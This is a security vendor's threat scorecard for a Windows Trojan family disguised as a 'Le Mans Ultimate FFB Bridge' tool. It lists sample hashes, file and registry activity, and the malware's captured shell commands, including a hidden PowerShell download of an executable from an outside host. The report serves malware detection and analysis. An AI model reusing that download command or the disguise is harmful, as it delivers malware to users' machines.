Trojan.Kryptik.Gen.BKO
Threat Scorecard
EnigmaSoft Threat Scorecard
EnigmaSoft Threat Scorecards are assessment reports for different malware threats which have been collected and analyzed by our research team. EnigmaSoft Threat Scorecards evaluate and rank threats using several metrics including real-world and potential risk factors, trends, frequency, prevalence, and persistence. EnigmaSoft Threat Scorecards are updated regularly based on our research data and metrics and are useful for a wide range of computer users, from end users seeking solutions to remove malware from their systems to security experts analyzing threats.
EnigmaSoft Threat Scorecards display a variety of useful information, including:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Severity Level: The determined severity level of an object, represented numerically, based on our risk modeling process and research, as explained in our Threat Assessment Criteria.
Infected Computers: The number of confirmed and suspected cases of a particular threat detected on infected computers as reported by SpyHunter.
See also Threat Assessment Criteria.
| Popularity Rank: | 10,146 |
| Threat Level: | 80 % (High) |
| Infected Computers: | 14 |
| First Seen: | December 25, 2025 |
| Last Seen: | May 12, 2026 |
| OS(es) Affected: | Windows |
Table of Contents
Analysis Report
General information
| Family Name: | Trojan.Kryptik.Gen.BKO |
|---|---|
| Signature status: | No Signature |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
ca637c6ba67c05ea8ebb8637b9fcbe95
SHA1:
ab19b4fb469814d25c4823de40285ced6fc73c13
SHA256:
FFF6BADEE66A9848A7DB125AE39A8023E71B7660DF7F13E1EA3A06C8C45351A2
File Size:
1.67 MB, 1674240 bytes
|
|
MD5:
cc488e27e7931f19e4b08bceaa4a1439
SHA1:
cefb0d45bdd15801ea8ca521c64cda463956be73
SHA256:
D3F087CB40666CD952E3597E185893770773A0B9BF5C110C68B7FB17229382CE
File Size:
534.53 KB, 534528 bytes
|
|
MD5:
f49383246d883fa69d1ea5dd6543cfab
SHA1:
a4f5835c91bdd87f5203b6fc049eb02671882be1
SHA256:
1B7B8B2B50A3683CD143AE31F4534D27AB388A666C5CB461DB6CC636F52CC8AF
File Size:
1.71 MB, 1707008 bytes
|
|
MD5:
a14996c0aba26f765dcdcc0bd90f1703
SHA1:
9e27a542bb540aec5f0d5b48df2c0ff80e74382a
SHA256:
970F70504835C70571A9679E1E2B6C63388E41668BEF34B23F2D7B258D2D1C2F
File Size:
1.39 MB, 1392128 bytes
|
|
MD5:
5580bd633afb4b5bef22b21fb83a1bd0
SHA1:
bcea266c9d8e51d7a9a216c7cfdc28176a4ae22e
SHA256:
E786D3273EDA0B34402F910D41A4D643A9872C6F5BFF02B0DCFABCD58E012330
File Size:
1.62 MB, 1623552 bytes
|
Show More
|
MD5:
f12c6003a05ab482150bda58434b1154
SHA1:
e2bc9f59eb68cca439a7b3c14beb99d88ddea471
SHA256:
D426CCEB26382B86259E88E7D3BD3070CCCB53A9D1C900F5562E4D73203075AC
File Size:
547.84 KB, 547840 bytes
|
|
MD5:
1f1871f77d1bd84d9d2befcdff610c4b
SHA1:
e792f0b54972eb543ece9f67b1ae09e42fe80da9
SHA256:
134B6F7AAFB6D69D76142CC2EA9CCE2DB90C01ABC6568E21128A705338909FB3
File Size:
713.22 KB, 713216 bytes
|
|
MD5:
84c7612da7cf87cf8e980cc097a6e487
SHA1:
8581b1c5c4c43a714c26ef6e73f70002efb36a39
SHA256:
FBBC94D1C9C35DF6831B05A3485C914BCB9A87B0B6E30A8A4AD5E040FCF0F0F5
File Size:
712.70 KB, 712704 bytes
|
|
MD5:
0fb7c35ad99032e6a15cb91019c56813
SHA1:
4d5335b1a5a9f3c7e581b466fd919505984c8810
SHA256:
F0363380F9B1556A15D4507EEFFDC0CC9B93E37852ABD36F2A8BA128E7ED2583
File Size:
548.86 KB, 548864 bytes
|
|
MD5:
7e660b6e847e0e466408e9217701f580
SHA1:
82df3df2a665a0ec80cdc5c50999b75f324631e5
SHA256:
52D34F01B3878645E536F7921C9C3C87C1155785187FC9FBD8325D921D4F6987
File Size:
547.84 KB, 547840 bytes
|
Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have resources
- File doesn't have security information
- File has exports table
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
Show More
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Icons
File Icons
This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Company Name | lmuFFB |
| File Description | Le Mans Ultimate FFB Bridge |
| File Version | 0.7.166 |
| Internal Name | lmuFFB |
| Legal Copyright | Copyright (C) 2026 |
| Original Filename | LMUFFB.exe |
| Product Name | lmuFFB |
| Product Version | 0.7.166 |
File Traits
- dll
- HighEntropy
- imgui
- No Version Info
- WriteProcessMemory
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 1,852 |
|---|---|
| Potentially Malicious Blocks: | 76 |
| Whitelisted Blocks: | 1,757 |
| Unknown Blocks: | 19 |
Visual Map
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0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- Downloader.Agent.TTB
- Gamehack.GDDE
- Gamehack.GSN
- Kryptik.ODFF
- RobloxHack.LE
Show More
- Trojan.Kryptik.Gen.BKO
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\pshost.134224721672369524.7048.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.1.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\usrclass.dat{dba6b5ef-640a-11ed-9bcb-f677369d361c}.txr.2.regtrans-ms | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_bmlr3n5d.cbx.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_kstjexkh.vjn.psm1 | Generic Write,Read Attributes |
| c:\users\user\downloads\lmuffb_debug.log | Generic Write,Read Attributes |
| c:\users\user\downloads\vortex_log.txt | Generic Write,Read Attributes |
| c:\windows\system32\logs\gz_log_2026-03-19_05-17-05.txt | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKCU\system\currentcontrolset\control\mediaproperties\privateproperties\directinput\vid_0627&pid_0001\calibration\0::guid | ፐ揑㙡ᇱƀ䕄呓 | RegNtPreCreateKey |
| HKCU\software\microsoft\directinput\bcea266c9d8e51d7a9a216c7cfdc28176a4ae22e_000162355269b0bfb20018c600::name | BCEA266C9D8E51D7A9A216C7CFDC28176A4AE22E_0001623552 | RegNtPreCreateKey |
| HKCU\software\microsoft\directinput\bcea266c9d8e51d7a9a216c7cfdc28176a4ae22e_000162355269b0bfb20018c600::usesmapper | RegNtPreCreateKey | |
| HKCU\software\microsoft\directinput\mostrecentapplication::name | BCEA266C9D8E51D7A9A216C7CFDC28176A4AE22E_0001623552 | RegNtPreCreateKey |
| HKCU\software\microsoft\directinput\mostrecentapplication::id | BCEA266C9D8E51D7A9A216C7CFDC28176A4AE22E_000162355269B0BFB20018C600 | RegNtPreCreateKey |
| HKCU\software\microsoft\directinput\mostrecentapplication::version | ࠀ | RegNtPreCreateKey |
| HKCU\software\microsoft\directinput\mostrecentapplication::mostrecentstart | 튉쪨ǜ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey |
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| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | RegNtPreCreateKey | |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
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21 additional items are not displayed above. |
| Anti Debug |
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| Other Suspicious |
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| Process Manipulation Evasion |
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| User Data Access |
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| Process Shell Execute |
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| Process Terminate |
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| Encryption Used |
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Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK288768.exe
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C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=9UHkJuvH1q5iXCdVrZDSW01.txt' -OutFile $env:TEMP\BK288768.exe
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